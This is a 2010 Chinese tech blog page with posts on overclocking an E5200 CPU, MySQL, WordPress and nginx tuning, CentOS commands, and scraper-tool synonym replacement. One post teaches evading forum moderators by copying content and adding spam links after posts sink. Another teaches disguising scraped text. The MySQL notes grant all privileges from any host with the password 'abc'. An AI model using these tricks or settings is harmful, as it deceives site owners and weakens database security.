[超频缘来这么简单]五电容版E5200奔腾双核真能轻松上320X12.5=4G?!

2010年1月29日星期五 | | 0 评论 |

 

    近日,针对市场上传言五电容版E5200可轻松上4G的说法,Pcpop.com进行了测试。他们对一块编号为Q825A974的5电容版E5200测试的结论是:"不得不承认,大部分五电容版E5200确实 是超频神器,有实力的玩家,可以通过水冷或是高端风冷,加高压冲击更高主频,相信60度温度下,4.2-4.4G主频不难达到。"以下是文章的部分内容节 选。

    在近期的CPU市场中,尽量Core i7性能卓越、45nm羿龙风头正劲,但是目前饱受玩家追捧的却是一款特别版的Intel中低端产品E5200,原因为何呢?自上个月以来,市场上出现了一批散装的极品E5200处理器,与常见版本不同之处在于,背部的电容数量及分配有所改变,网友俗称"五电容版极品E5200"。



 
    最早面市的E5200无论是盒装还是散装都采用了双电容设计,而上个月市面上却出现了5电容版本的产品,后者的超频性能之强,令不少玩家喻为"神器"。这款特别版的E5200超频潜力非常强大,不少能以较低电压超到3.6G甚至是4G,性能大幅提升,仅花400多元的价钱便能体验1000元的性能,"神 U"的美名自然被收入囊中,一时间五颗电容的E5200就成为CPU市场上关注的焦点和抢手的产品。本次我们收到的这颗特别版E5200编号为Q825A974,封装地为马来西亚。


    之前我们测试的普通版E5200,在默认电压下几乎撑死能到3.3G左右,而加高压状态下,能达到3.8G左右,而在高压和水冷的情况下,才能勉强达到4G主频,现在就让我们看看这款五电容E5200的超频性能如何,我们依旧拿传言中的4G主频为标准检验:


    总的来说,超频测试还算比较成功,实现了4G主频稳定运行的传言,我们在默电测试中,将内存异步在默认的800MHZ频率下,在BIOS中直接将外频调至 320MHz,配合12.5X的倍频,主频直达4G,操作十分简单,相信菜鸟也可以完成,默电下正常开机,跑PI,跑一些测试软件,但是在拷机测试中,却难以达到长时间的稳定运行,偶尔会出现蓝屏现象。这一次,我们把核心电压稍加了一些,达到 1.3V,此时完成了所有的测试和拷机检验。

超频4G 相当简单 外频直接调至320MHZ,电压稍加0.05V:


    在一些玩家的讨论中,我们可以经常看到很多默电就稳定运行4G频率的例子,相信这完全和U的体制有关,并不是每颗五电容都有良好的超频性,也有只能上到 3.6G的玩家在抱怨,我们收到的这颗五电容E5200,还算体制尚佳,默电下达到4G,也没有什么太大问题,跑任何程序也比较稳定(长久拷机下出现蓝屏),所以说对于传言轻松上4G主频的说法,现在也得到了答案。

    不得不承认,大部分五电容版E5200确实是超频神器,有实力的玩家,可以通过水冷或是高端风冷,加高压冲击更高主频,相信60度温度下,4.2-4.4G主频不难达到。在这里我们只奉献上最易达到的4G主频给玩家做参考。
 
我的QQ空间
如何利用国外论坛做好英文站外链
  相信很多朋友都做过在国外高PR的论坛做过链接,如发软文,做...
 

[SEO技巧]如何利用国外论坛做好英文站外链

2010年1月27日星期三 | | 0 评论 |

  相信很多朋友都做过在国外高PR的论坛做过链接,如发软文,做签名等,但国外对这些很敏感,经常刚做的链接,几分钟就被删了,而且帐号还被禁止了,我刚开始也一样,很被动,很累而且还没有效果。

  我的方法如下,如有意见请共同讨论:

  1,先注册帐号,并且把地址等自己的信息记录下来,不要马上做签名。

  如果自己有内容就发到里面论坛里面,不要带有任何链接,只要不是很软的文章,有实用性,一般都不会删除。

  如果是没有相关的内容,我教一个方法:可以把这个论坛里面的最底层的内容抄过来先做个伪原创,起个别的题目,这样一般都能通过,不会被删。

  2,可以在这接下来的几天发几篇文章,如果可能的话发一些跟你网站相关的文章(跟论坛相关的内容更佳),并且包括你的关键词,注意一定不要有链接。这样做是为下面做链接作准备。

  3,过了一两个星期后,这些文章都沉下去了,这时你就可以做相关的链接了,加上签名,同时在你的文章中的关键词做上链接,论坛一般修改文章是不会当然新的内容,所以不会在第一个出现,即不会更新所在的页码,当然管理员发现的机率就很底了。你的链接就完成了。

  4,完成文章修改后再把相关文章的地址向GG提交一下,这样就可以很快成为你的外链接了。

  5,另,现在很多高质量的论坛都是IT内容的,这个链接就更好做了,做一个有问题的页面放在自己的网站中,把这个问题直接向论坛里发问,把地址发过去即可,同时做一个图片示意一下你的问题所在,把图片上传到自己的空间里面,论坛中用链接链引出图片,这样也可以算有点外链吧,算是引用,对吧,过几天等帖子沉了你也可以做一些签名或关键词链接了。

  目前来讲这是很有效果的方法,如果大家觉得不错请支持一下!

 
我的QQ空间
简析mysql 优化 中文说明
1.使用INSERT插入多条记录 调用多次INSERT语句不就可以插入多条...
 

简析mysql 优化 中文说明

2010年1月26日星期二 | | 0 评论 |

 1. 使用INSERT插入多条记录
 调用多次INSERT语句不就可以插入多条记录了吗!但使用这种方法要增加服务器的负荷,因为,执行每一次SQL服务器都要同样对SQL进行分析、优化等操作。幸好MySQL提供了另一种解决方案,
就是使用一条INSERT语句来插入多条记录。这并不是标准的SQL语法,因此只能在MySQL中使用。


INSERT INTO users(name, age)
  VALUES('姚明', 25), ('比尔.盖茨', 50), ('火星人', 600);

2. WITH ROLLUP

GROUP BY子句允许一个将额外行添加到简略输出端 WITH ROLLUP 修饰符。这些行代表高层(或高聚集)简略操作。ROLLUP 因而允许你在多层分析的角度回答有关问询的问题

或者你可以使用 ROLLUP, 它能用一个问询提供双层分析。将一个 WITH ROLLUP修饰符添加到GROUP BY 语句,使询问产生另一行结果,该行显示了所有年份的总价值:

mysql> SELECT year, SUM(profit) FROM sales GROUP BY year WITH ROLLUP;

+------+-------------+

| year | SUM(profit) |

+------+-------------+

| 2000 |        4525 |

| 2001 |        3010 |

| NULL |        7535 |

+------+-------------+

总计高聚集行被年份列中的NULL值标出。

当你使用 ROLLUP, 你不能同时使用 ORDER BY子句进行结果排序。换言之, ROLLUP ORDER BY 是互相排斥的。然而,你仍可以对排序进行一些控制。在 MySQL中, GROUP BY 可以对结果进行排序,而且你可以在GROUP BY列表指定的列中使用明确的 ASCDESC关键词,从而对个别列进行排序。 (不论如何排序被ROLLUP添加的较高级别的总计行仍出现在它们被计算出的行后面)

LIMIT可用来限制返回客户端的行数。LIMIT 用在 ROLLUP后面, 因此这个限制 会取消被ROLLUP添加的行

3. my.cnf文件中[mysqld]段落中的内容,其他段落内容对MySQL运行性能影响甚微,因而姑且忽略。

  [mysqld]
port = 3306
serverid = 1
socket = /tmp/mysql.sock
skip-locking
# 避免MySQL的外部锁定,减少出错几率增强稳定性。
skip-name-resolve

禁止MySQL对外部连接进行DNS解析,使用这一选项可以消除MySQL进行DNS解析的时间。但需要注意,如果开启该选项,则所有远程主机连接授权都要使用IP地址方式,否则MySQL将无法正常处理连接请求!

back_log = 384

指定MySQL可能的连接数量。当MySQL主线程在很短的时间内接收到非常多的连接请求,该参数生效,主线程花费很短的时间检查连接并且启动一个新线程。

back_log参数的值指出在MySQL暂时停止响应新请求之前的短时间内多少个请求可以被存在堆栈中。如果系统在一个短时间内有很多连接,则需要增大该参数的值,该参数值指定到来的TCP/IP连接的侦听队列的大小。不同的操作系统在这个队列大小上有它自己的限制。

试图设定back_log高于你的操作系统的限制将是无效的。默认值为50。对于Linux系统推荐设置为小于512的整数。

     key_buffer_size = 256M
# key_buffer_size指定用于索引的缓冲区大小,增加它可得到更好的索引处理性能。
对于内存在4GB左右的服务器该参数可设置为256M或384M。
注意:该参数值设置的过大反而会是服务器整体效率降低!
max_allowed_packet = 4M
thread_stack = 256K
table_cache = 128K
sort_buffer_size = 6M

查询排序时所能使用的缓冲区大小。注意:该参数对应的分配内存是每连接独占!如果有100个连接,那么实际分配的总共排序缓冲区大小为100 × 6 = 600MB。所以,对于内存在4GB左右的服务器推荐设置为6-8M。

 read_buffer_size = 4M

读查询操作所能使用的缓冲区大小。和sort_buffer_size一样,该参数对应的分配内存也是每连接独享!

join_buffer_size = 8M

联合查询操作所能使用的缓冲区大小,和sort_buffer_size一样,该参数对应的分配内存也是每连接独享!

     myisam_sort_buffer_size = 64M
table_cache = 512
thread_cache_size = 64
query_cache_size = 64M

指定MySQL查询缓冲区的大小。可以通过在MySQL控制台执行以下命令观察:

 # > SHOW VARIABLES LIKE '%query_cache%';
# > SHOW STATUS LIKE 'Qcache%';
# 如果Qcache_lowmem_prunes的值非常大,则表明经常出现缓冲不够的情况;

如果Qcache_hits的值非常大,则表明查询缓冲使用非常频繁,如果该值较小反而会影响效率,那么可以考虑不用查询缓冲;Qcache_free_blocks,如果该值非常大,则表明缓冲区中碎片很多。

     tmp_table_size = 256M
max_connections = 768

指定MySQL允许的最大连接进程数。如果在访问论坛时经常出现Too Many Connections的错误提 示,则需要增大该参数值。

     max_connect_errors = 10000000
wait_timeout = 10

指定一个请求的最大连接时间,对于4GB左右内存的服务器可以设置为5-10。

     thread_concurrency = 8

该参数取值为服务器逻辑CPU数量×2,在本例中,服务器有2颗物理CPU,而每颗物理CPU又支持H.T超线程,所以实际取值为4 × 2 = 8

    skip-networking

开启该选项可以彻底关闭MySQL的TCP/IP连接方式,如果WEB服务器是以远程连接的方式访问MySQL数据库服务器则不要开启该选项!否则将无法正常连接!

From: http://blog.csdn.net/lyd518/archive/2008/01/24/2063005.aspx
我的QQ空间
MySQL基础知识 & 命令
++查看mysql安装编译参数cat $PATH/mysql/bin/mysqlbug | grep C...
 

如何对WordPress优化,不再怕流量大

| | 0 评论 |

WordPress优化,不再怕流量大   -  不知道真的假的,,还没有测试过..
 
  很喜欢WordPress,完全是因为他开场的蓝色+乳白色背景,至于性能问题,刚开始我唯一的感觉就是开源的程序太可怕了,强大的扩展性和兼容性,令人欣喜也令人忧,欣喜在于几乎所有的功能你都能找到一款合适的插件来实现,忧的是插件的性能真的很难保证,大量的插件必然导致性能的低下。

        然而,经过数年的使用,尤其是对整个WordPress生态链的了解,我 越来越肯定:WordPress其实可以做的很好,只是你还没有找到合适的方法而已。

        我认为,高流量WordPress博客可以从以下几点入手进行优化:

        1使用LAMP架构而不是WAMP(Windows-Apache-MySQL-PHP)

        我对服务端的原理知之甚少,但就我使用LAMP和WAMP的经验来看,前者在性能、稳定性上都占有几大优势。相比WAMP,Linux服务成本极低,而且相比Windows,Linux的理念本身也更为专注于服务器管理和操作。例如,使用wget升级WordPress,下载插件,都十分方便;使用mysqldump和crontab备份数据也安全、简便、可靠。

        2安装wp-super-cache等静态缓存插件

        我的博客一直使用wp-super-cache,效果很好。它能够极大程度地节约PHP的执行成本和数据库查询的压力。下载地址。(最好是在LAMP下,我没有测试过WAMP的情况)

        不过,安装了这款插件之后,PHP端对客户端的API就全部失效了。例如你无法在PHP端获得客户端的浏览器类型、版本、Referer值等。如果有相关功能,这时候需要一些java script技巧来改善。例如用jQuery的

        3制定一些插件

        如果你的访问量足够高,那么绝对有必要亲自动手或者请懂WordPress系统的人来制定一些插件。很多插件为了考虑兼容性(包括服务器端、客户端),采用了很保守的设计。而针对你自身的系统,这些保守的设计很可能就成为了累赘。例如我自己有一套jQuery的库,就不必再用插件自带的 jQuery或者其他java script库了;插件还有一个问题也是免费开源软件的通病:规范程度不够好,质量参差不齐,一些插件在存档页面去连评论的 数据,就很浪费资源了。

        4Feed和图片独立

        Feed和图片完全没有必要自己负担:

        a、Feed可以使用FeedBurner(最近Google的动作应该会让河蟹的风险降到最低),也可以使用Feedsky;

        b、图片可以使用Google的Picasa,如果实在觉得麻烦,在上传图片之前,切记裁剪、缩放一下图片,一般来说都可以压缩到100K以内(可以压缩掉90%的体积)

        5可以考虑用Nginx代替Apache

        我并不了解Nginx和Apache的内部原理,但我的直觉告诉我,Nginx的效率要高于Apache - 理由是,当我从Apache迁移到Nginx之后,一直没有开super-cache,速度居然也很不错。现在,Alexa排名前100的网站中有2个使用了Nginx(Nginx官方统计)

        值得一提的是,换了Nginx之后,super-cache的rewrite规则不如htacces那么好配置,搜索"Nginx+Super+Cache"会看到很多说明,不再赘述。

 

我的QQ空间
MySQL基础知识 & 命令
++查看mysql安装编译参数cat $PATH/mysql/bin/mysqlbug | grep C...
 

[学习]MySQL基础知识 & 命令

| | 0 评论 |

++查看mysql安装编译参数
cat $PATH/mysql/bin/mysqlbug | grep CONFIGURE_LINE

++启动/关闭mysql
$path/mysqld_safe -user=mysql &
$/mysqladmin -p shutdown

++修改root口令
mysqladmin -u root -p password '新密码'

++查看服务器状态
$path/mysqladmin version -p

++连接远端mysql服务器
$path/mysql -u 用户名 -p #连接本机
$path/mysql -h 远程主机IP -u 用户名 -p#连接远程MYSQL服务器

++创建/删除 数据库或表
mysqladmin -u root -p create xxx
mysql>create database 数据库名;
create TABLE items (
id INT(5) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
symbol CHAR(4) NOT NULL,
username CHAR(8),
INDEX sym (symbol),INDEX …..
UNIQUE(username)
) type=innodb;
mysql>drop database [if exists] 数据库名
mysql>create table 表名;
mysql>drop table 表名;

++复制表结构
create table target_table like source_table
select * into NEW_TABLE from OLD_TABLE where 1=2

++查看数据库和查看数据库下的表
mysql>show databases;
mysql>show tables;
mysql>desc 表名; #查看具体表结构信息
SHOW CREATE DATABASE db_name #显示创建db_name库的语句
SHOW CREATE TABLE tbl_name  #显示创建tbl_name表的语句

++创建用户
mysql>grant select,insert,update,delete,alter on mydb.* to [email protected] identified by "abc";
mysql>grant all privileges on *.* to [email protected]'%' identified by "abc";
mysql>flush privileges;

++用户管理
mysql> update user set password=password ('11111′) where user='test1′; #修改test1密码为111111
DELETE FROM user WHERE User="testuser" and Host="localhost"; #删除用户帐号
SHOW GRANTS FOR [email protected]; #显示创建user1用户的grant语句
revoke all privileges on *.* from 'user1′@'%' ; #回收user1对所有库表的权限

++mysql数据库的备份和恢复
mysqldump –all-databases -h 数据库服务器地址 -u 用户名 -p密码 > xxx.sql #备份所有数据库
mysqldump –databases 数据库名 -h 数据库服务器地址 -u 用户名 -p密码 >  xxx.sql #备份指定数据库
mysqldump -u 用户名 -p 数据库名 表名> 导出的文件名 ##导出单独的表
mysql -uroot -p xxx < aaa.sql #导入表
mysqldump -u 用户名  -p -d –add-drop-table 数据库名 > xxxx.sql  #导出一个数据库结构
-d 没有数据 –add-drop-table 在每个create语句之前增加一个drop table

++忘记mysql密码
先停止所有mysql服务进程
mysqld_safe –skip-grant-tables & mysql
mysql>use mysql;
mysql>update user set password=password('111111′) where user='root';
mysql>flush privileges;
然后重启mysql并以新密码登入即可

++当前使用的数据库
select database();

===数据库日常操作维护====
++创建表
create table table_name
(column_name datatype {identity |null|not null},f_time TIMESTAMP(8),
…)ENGINE=MyISAM AUTO_INCREMENT=3811 DEFAULT CHARSET=utf8;
例: CREATE TABLE guest (name varchar(10),sex varchar(2),age int(3),career varchar(10));
# desc guest可查看表结构信息
# TIMESTAMP(8) YYYYMMDD 其中(2/4/6/8/10/12/14)对应不同的时间格式
SHOW CREATE TABLE tbl_name  #显示创建tbl_name表的语句

++创建索引
可以在建表的时候加入index indexname (列名)创建索引,
也可以手工用命令生成 create index index_name on table_name (col_name[(length)],… )
CREATE INDEX number ON guest (number(10));
SHOW INDEX FROM tbl_name [FROM db_name] #显示现有索引
mysql> repair TABLE date QUICK;  #索引列相关变量变化后自动重建索引

++查询及常用函数
mysql> select t1.name, t2.salary from employee AS t1, info AS t2 where t1.name = t2.name;
mysql> select college, region, seed from tournament ORDER BY region, seed;
mysql> select col_name from tbl_name WHERE col_name > 0;
mysql> select DISTINCT ……  [DISTINCT关键字可以除去重复的记录]
mysql> select DATE_FORMAT(NOW(),'%m/%d/%Y') as DATE, DATE_FORMAT(NOW(),'%H:%m:%s') AS TIME;
mysql> select CURDATE(),CURTIME(),YEAR(NOW()),MONTH(NOW()),DAYOFMONTH(NOW()),HOUR(NOW()),MINUTE(NOW());
mysql> select UNIX_TIMESTAMP(),UNIX_TIMESTAMP(20080808),FROM_UNIXTIME(UNIX_TIMESTAMP()); mysql> select PASSWORD("secret"),MD5("secret");   #加密密码用
mysql> select count(*) from tab_name order by id [DESC|ASC]; #DESC倒序/ASC正序
* 函数count,AVG,SUM,MIN,MAX,LENGTH字符长度,LTRIM去除开头的空头,RTRIM去尾部空格,TRIM(str)去除首部尾部空格,LETF/RIGHT(str,x)返回字符串str的左边/右边x个字符,SUBSTRING(str,x,y)返回str中的x位置起至位置y的字符mysql> select BINARY 'ross' IN ('Chandler','Joey', 'Ross'); #BINARY严格检查大小写
* 比较运算符IN,BETWEEN,IS NULL,IS NOT NULL,LIKE,REGEXP/RLIKE
mysql> select count(*),AVG(number_xx),Host,user from mysql.user  GROUP by user [DESC|ASC] HAVING user=root; #分组并统计次数/平均值

++UNIX_TIMESTAMP(date)
返回一个Unix时间戳记(从'1970-01-01 00:00:00′GMT开始的秒数)
mysql> select UNIX_TIMESTAMP();
mysql> select UNIX_TIMESTAMP('1997-10-04 22:23:00′);
mysql> select FROM_UNIXTIME(875996580);   #根据时间戳记算出日期

++控制条件函数
mysql> select if(1<10,2,3), IF(55>100,'true','false');
#IF()函数有三个参数,第一个是被判断的表达式,如果表达式为真,返回第二个参数,如果为假,返回第三个参数.
mysql> select CASE WHEN (2+2)=4 THEN "OK" WHEN (2+2)<>4 THEN 'NOT OK' END AS status;

++系统信息函数
mysql> select DATABASE(),VERSION(),USER();
mysql> select BENCHMARK(9999999,LOG(RAND()*PI())) AS PERFORMANACE; #一个测试mysql运算性能工具

++将wp_posts表中post_content字段中文字"old"替换为"new"
update wp_posts set post_content=replace(post_content,'old','new')

++改变表结构
alter table table_name alter_spec [, alter_spec ...]
例:alter table dbname add column userid int(11) not null primary key auto_increment;
这样,就在表dbname中添加了一个字段userid,类型为int(11)。

++建表后新增主键
alter  table tablename add primary key(id);

++调整列顺序
alter table tablename CHANGE id id int(11) first;

++修改表中数据
insert [into] table_name [(column(s))] values (expression(s))
例:mysql>insert into mydatabase values('php','mysql','asp','sqlserver','jsp','oracle');
mysql> create table user select host,user from mysql.user where 1=0;
mysql> insert into user(host,user) select host,user from mysql.user;

++更改表名
命令:rename table 原表名 to 新表名;

++表的数据更新
mysql>update table01 set field04=19991022[, field05=062218] where field01=1;

++删除数据
mysql>delete from table01 where field01=3;
#如果想要清空表的所有纪录,建议用truncate table tablename而不是delete from tablename.

++SHELL提示符下运行SQL命令
mysql -e "show slave status\G "

++坏库扫描修复
# cd /var/lib/mysql/xxx && myisamchk table_name
myisamchk -r table_name.MYI
#mysql> repair table tablename ;

++insert into a (x) values ('11a')
出现: ata truncated for column 'x' at row 1
解决办法:
在my.ini里找到
sql-mode="STRICT_TRANS_TABLES,NO_AUTO_Create_USER,NO_ENGINE_SUBSTITUTION"
把其中的STRICT_TRANS_TABLES,去掉,然后重启mysql就ok了

++innodb支持事务
新表:create TABLE table-name (field-definitions) TYPE=INNODB;
旧表: alter TABLE table-name TYPE=INNODB;
mysql> start transaction #标记一个事务的开始
mysql> insert into…..      #数据变更
mysql> ROLLBACK或commit  #回滚或提交
mysql> SET  AUTOCOMMIT=1; #设置自动提交
mysql> select @@autocommit; #查看当前是否自动提交

++表锁定相关
mysql> LOCK TABLE users READ; # 对user表进行只读锁定
mysql> LOCK TABLES user READ, pfolios WRITE #多表锁控制
mysql> UNLOCK TABLES; #不需要指定锁定表名字, MySQL会自动解除所有表锁定

++如何清除mysql的mysql-bin日志
mysql> show master logs; #查询musql-bin,mysql操作日志
mysql> reset master;全部删除
mysql> purge master logs to 'mysql-bin.00001′; #删除,保留最新
mysql> purge master logs to "date" ;删除除date以前的日志
#直接删除也可以,然后记得FLUSH LOGS
#也可以修改my.cnf
–expire_logs_days=3

=====一些mysql优化与管理======
++mysql大量的 unauthenticated user错误解决
编辑服务控制脚本,在启动命令行加入–skip-name-resolve ,然后重启MysqlD服务

++管理用命令
show variables #查看所有变量值
– max_connections 数据库允许的最大可连接数,
#需要加大max_connections可以在my.cnf中加入 max_connections=1000,可以对与下面的threads_connected值决定是否需要增大.

show status [like ....];
– threads_connected 数据库当前的连接线程数
#FLUSH STATUS 可以重置一些计数器

show processl

–Enable Slow Query Log
long_query_time=3
log-slow-queries=/var/log/mysql/log-slow-queries.log
log-queries-not-using-indexes
# mysqldumpslow -s c -t 20 host-slow.log  #访问次数最多的20个sql语句
# mysqldumpslow -s r -t 20 host-slow.log  #返回记录集最多的20个sql

–others
max_connections=500  #用过的最大连接数SHOW Status like 'max_used_connection';
wait_timeout=10   #终止所有空闲时间超过 10 秒的连接
table_cache=64 #任何时间打开表的总数
max_binlog_size=512M #循环之前二进制日志的最大规模
expire_logs_days = 7 #仅保留7天的binlog
max_connect_errors = 100
query_cache_size = 256M #查询缓存,,默认是0
#可用 SHOW STATUS LIKE 'qcache%';查看命中率
#FLUSH STATUS重置计数器,  FLUSH QUERY CACHE清缓存
thread_cache = 40 #线程使用,SHOW STATUS LIKE 'Threads_created %'; 值快速增加的话考虑加大
key_buffer = 16M #show status like '%key_read%';  Key_reads 代表命中磁盘的关键字请求个数
#A: 到底 Key Buffer 要设定多少才够呢? Q: MySQL 只会 Cache 索引(*.MYI),因此参考所有 MYI文件的总大小
sort_buffer_size = 4M  #查询排序时所能使用的缓冲区大小,每连接独享4M
#show status like '%sort%'; 如sort_merge_passes很大,就表示加大
sort_buffer_sizesort_buffer_size = 6M #查询排序时所能使用的缓冲区大小,这是每连接独享值6M
read_buffer_size = 4M #读查询操作所能使用的缓冲区大小
join_buffer_size = 8M    #联合查询操作所能使用的缓冲区大小
skip-locking  #取消文件系统的外部锁
skip-name-resolve
thread_concurrency = 8  # 最大并发线程数,cpu数量*2
thread_cache_size = 64      # 按照内存大小来设置, 1G=8, 2G=16, 3G=32, >3G=64
tmp_table_size = 256M  #临时表大小
back_log = 300 #MySQL暂时停止响应新请求之前的短时间内多少个请求可以被存在堆栈中。

附my.cnf

[client]
port            = 3306
socket          = /var/lib/mysql/mysql.sock

[mysqld]
datadir=/blog.zhangjianfeng.com/data/mysql
port            = 3306
socket          = /var/lib/mysql/mysql.sock
skip-locking
skip-name-resolve
key_buffer = 128M
max_allowed_packet = 2M
table_cache = 128
sort_buffer_size = 6M
read_buffer_size = 4M
join_buffer_size = 8M
read_rnd_buffer_size = 8M
myisam_sort_buffer_size = 64M
thread_cache_size = 32
query_cache_size= 256M
thread_concurrency = 4
max_binlog_size=512M
tmp_table_size = 256M
log_slow_queries = /blog.zhangjianfeng.com/logs/mysql-slow.log
long_query_time = 2
log-bin=mysql-bin
server-id       = 1
max_connections = 1000
back_log = 300
wait_timeout = 30
open_files_limit = 5000

[safe_mysqld]
err-log=/var/lib/mysql/mysqld.log

[mysqldump]
quick
max_allowed_packet = 16M

[mysql]
no-auto-rehash

[isamchk]
key_buffer = 500M
sort_buffer_size = 64M
read_buffer = 2M
write_buffer = 2M

[myisamchk]
key_buffer = 64M
sort_buffer_size = 64M
read_buffer = 2M
write_buffer = 2M

[mysqlhotcopy]
interactive-timeout

检查my.cnf设置是否合理的一个工具  http://www.day32.com/MySQL/tuning-primer.sh
mysqlreport  http://hackmysql.com/mysqlreport

++ 杂
* 发现问题:系统响应慢、load avg >=5、IO wait >= 10、swap使用情况、mysql status、mysql report、mysql 5.1 profline
* xfs:如果可能,mysql数据文件系统分区采用xfs,效果高30%~50%
* innodb_buffer_pool_size:如果是专用的数据库服务器,设定为内存的80%吧
* MyIsam适合低并发、低更新、高读取的需求,InnoDB适合高并发、高更新、高读取的需求,MyIsam读取的速度比InnoDB快许多。
* Explain:查询检查、查询优化
* 联合索引:貌似MySQL一次查询只用到一个索引,联合索引要注意先后顺序的问题,"左派"比较吃香。
* 字段按需配置,能用TinyINT的不用INT,字段越短越好,具体差别可以参见:http://chaoqun.17348.com/2008/11/mysql-data-types-int/
* 把大表拆成小表,如果表字段里面有Text,尽量拆开吧。
* 缩短事务周期
* 字符型的字段,最好采用前缀索引。
* 复杂的查询拆成小的简单的查询,比如用循环查询替代。这点不敢苟同,还是按照自己的业务测试一下吧。一条sql语句总比N条要快吧,除非有问题。
* left join:把条目数少的放左边,如果你了解left join的话,这个是肯定的。
* 实时备份:用slave做实时备份吧,一个slave就是一个备份。

转://http://wap.zhangjianfeng.com/index-wap2.php?p=208

我的QQ空间
火车采集器免费版同义词替换,标签内容批量替换或排除方法
打开软件system目录,找到Config.mdb,打开Rules表,找到任务ID...
 

火车采集器免费版同义词替换,标签内容批量替换或排除方法

| | 0 评论 |

打开软件system目录,找到Config.mdb,打开Rules表,找到任务ID下的标签进行替换或排除就可以了

替换:(重要)

原内容新内容原内容1→新内容1

这样的格式,不换行。

排除就直接

内容内容2○内容2
同义词库: 近义词.txt (114.81 KB)

例如:

1、打开数据库文件:安装路径/System/Config.mdb
2、打开表Rules 将同义词复制至"RegexReplace"对应的"标题"、"内容"框里面即可
3、部分同义词:中国园林网→园林新闻网○</p>→<!--南方园林信息网专业提供/www.scn-garden.com-- ></p>○逐个→逐一○逐步→逐渐○株连→牵连○骤然→突然○皱缩→舒展○咒骂→诅咒○周旋→盘旋○周围→

四周○周密→缜密○重要→主要○重视→注重○重任→重担○重量→分量○重复→反复○重叠→堆叠○重大→严重○种

类→品种○钟爱→宠爱○终于→终究○终生→一生○终日→整天○终年→常年○终了→结束○终局→结局○终究→究竟○

忠实→忠诚○忠告→警告○忠诚→忠实○中意→满意○中选→当选○中心→核心○中伤→伤害○中举→及第○中断→中

缀○置信→相信○滞销→畅销○智慧→聪慧○秩序→次序○致使→以致○致力→努力○桎梏→枷锁○治疗→医治
4、以上方法用于免费版

注意:"○" 很重要! 

 
我的QQ空间
nginx 优化(突破十万并发)
一般来说nginx 配置文件中对优化比较有作用的为以下几项:worker...
 

【linux】几个centOS常用命令

| | 0 评论 |

一:查看cpu

more /proc/cpuinfo | grep "model name"
grep "model name" /proc/cpuinfo

如果觉得需要看的更加舒服

grep "model name" /proc/cpuinfo | cut -f2 -d:

 

二:查看内存

grep MemTotal /proc/meminfo

grep MemTotal /proc/meminfo | cut -f2 -d:

free -m |grep "Mem" | awk '{print $2}'

三:查看cpu是32位还是64位

查看CPU位数(32 or 64)

getconf LONG_BIT

四:查看当前linux的版本

more /etc/redhat-release
cat /etc/redhat-release

五:查看内核版本

uname -r

uname -a

 

 

六:查看当前时间

date

上面已经介绍如何同步时间了,

七:查看硬盘和分区

df -h

fdisk -l

也可以查看分区

du -sh

可以看到全部占用的空间

du /etc -sh

可以看到这个目录的大小

八:查看安装的软件包

查看系统安装的时候装的软件包

cat -n /root/install.log

more /root/install.log | wc -l

查看现在已经安装了那些软件包

rpm -qa

rpm -qa | wc -l

yum list installed | wc -l

不过很奇怪,我通过rpm,和yum这两种方式查询的安装软件包,数量并不一样。没有找到原因。

 

九:查看键盘布局

cat /etc/sysconfig/keyboard

cat /etc/sysconfig/keyboard | grep KEYTABLE | cut -f2 -d=

十:查看selinux情况

sestatus

sestatus | cut -f2 -d:

cat /etc/sysconfig/selinux

十一:查看ip,mac地址

在ifcfg-eth0 文件里你可以看到mac,网关等信息。

ifconfig

cat /etc/sysconfig/network-scripts/ifcfg-eth0 | grep IPADDR

cat /etc/sysconfig/network-scripts/ifcfg-eth0 | grep IPADDR | cut -f2 -d=

ifconfig eth0 |grep "inet addr:" |awk '{print $2}'|cut -c 6-

ifconfig   | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'

查看网关

cat /etc/sysconfig/network

查看dns

cat /etc/resolv.conf

十二:查看默认语言

echo $LANG $LANGUAGE

cat /etc/sysconfig/i18n

十三:查看所属时区和是否使用UTC时间

cat /etc/sysconfig/clock

十四:查看主机名

hostname

cat /etc/sysconfig/network

修改主机名就是修改这个文件,同时最好也把host文件也修改。

查看pci信息    lspci
查看硬盘信息  df -lh

curl --head www.163.com               查看163.com的服务器环境

uptime              查看开机时间多长

ifconfig eth0 up    启用网卡eth0

/etc/initd/network restart 重启网络服务

谢谢光临偶滴8客, http://home.benz.la   转载请注明出处, 刀请合走.
 
我的QQ空间
nginx 优化(突破十万并发)
一般来说nginx 配置文件中对优化比较有作用的为以下几项:worker...
 

nginx 优化(突破十万并发)

2010年1月25日星期一 | | 0 评论 |

一般来说nginx 配置文件中对优化比较有作用的为以下几项:

worker_processes 8;

nginx 进程数,建议按照cpu 数目来指定,一般为它的倍数。

worker_cpu_affinity 00000001 00000010 00000100 00001000 00010000 00100000 01000000 10000000;

为每个进程分配cpu,上例中将8 个进程分配到8 个cpu,当然可以写多个,或者将一
个进程分配到多个cpu。

worker_rlimit_nofile 102400;

这个指令是指当一个nginx 进程打开的最多文件描述符数目,理论值应该是最多打开文
件数(ulimit -n)与nginx 进程数相除,但是nginx 分配请求并不是那么均匀,所以最好与ulimit -n 的值保持一致。

use epoll;

使用epoll 的I/O 模型

worker_connections 102400;

每个进程允许的最多连接数, 理论上每台nginx 服务器的最大连接数为worker_processes*worker_connections。

 keepalive_timeout 60;

keepalive 超时时间。

 client_header_buffer_size 4k;

客户端请求头部的缓冲区大小,这个可以根据你的系统分页大小来设置,一般一个请求
头的大小不会超过1k,不过由于一般系统分页都要大于1k,所以这里设置为分页大小。分页大小可以用命令getconf PAGESIZE 取得。

 open_file_cache max=102400 inactive=20s;

这个将为打开文件指定缓存,默认是没有启用的,max 指定缓存数量,建议和打开文件数一致,inactive 是指经过多长时间文件没被请求后删除缓存。

 open_file_cache_valid 30s;

这个是指多长时间检查一次缓存的有效信息。

 open_file_cache_min_uses 1;

open_file_cache 指令中的inactive 参数时间内文件的最少使用次数,如果超过这个数字,文件描述符一直是在缓存中打开的,如上例,如果有一个文件在inactive 时间内一次没被使用,它将被移除。

 关于内核参数的优化:

net.ipv4.tcp_max_tw_buckets = 6000

timewait 的数量,默认是180000。

 net.ipv4.ip_local_port_range = 1024 65000

允许系统打开的端口范围。

 net.ipv4.tcp_tw_recycle = 1

启用timewait 快速回收。

 net.ipv4.tcp_tw_reuse = 1

开启重用。允许将TIME-WAIT sockets 重新用于新的TCP 连接。

 net.ipv4.tcp_syncookies = 1

开启SYN Cookies,当出现SYN 等待队列溢出时,启用cookies 来处理。

